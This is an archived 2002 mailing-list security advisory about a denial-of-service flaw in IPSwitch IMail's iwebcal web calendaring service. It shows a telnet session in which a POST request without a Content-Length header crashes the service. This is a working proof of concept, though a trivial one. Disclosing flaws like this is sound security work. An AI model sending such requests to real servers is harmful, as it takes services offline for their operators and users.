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2c79cbe14ac7d0b8472d3f129fa1df55 Security Advisory #6
#PRODUCT
IPSwitch IMail, All Current Versions
#VULNERABILITY
the IMail Web Calendaring service, iwebcal, can be crashed by issuing a malformed POST request.. specifically one that neglects to include a "Content-Length:" parameter
xxx@xx:~$ telnet 192.168.0.2 8484
Trying 192.168.0.2...
Connected to 192.168.0.2.
Escape character is '^]'.
POST / HTTP/1.0
Connection closed by foreign host.
[the iwebcal service has crashed]
xxx@xx:~$ telnet 192.168.0.2 8484
Trying 192.168.0.2...
telnet: connect to address 192.168.0.2: Connection refused
#EXPLOITATION
this is pretty obvious, it's a simple DoS.. and it looks as if remote code execution is not possible due to the nature of this programming error
#PATCH
sorry, no backdoors this time.. disable the service before someone else does? or wait for a vendor patch after a few hoaxes are debunked..
#EOF
I think having a hotmail account closed in under 2 hours is some kind of record, especially if you consider I didn't do anything.. so if you sent anything to hotmail, it's likely I didn't get it..
oh and no, this isn't one of the 2 remaining,
2c79cbe14ac7d0b8472d3f129fa1df55@hush.com
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This archive was generated by hypermail 2.1.3 : Tue Jul 30 2002 - 22:41:26 CEST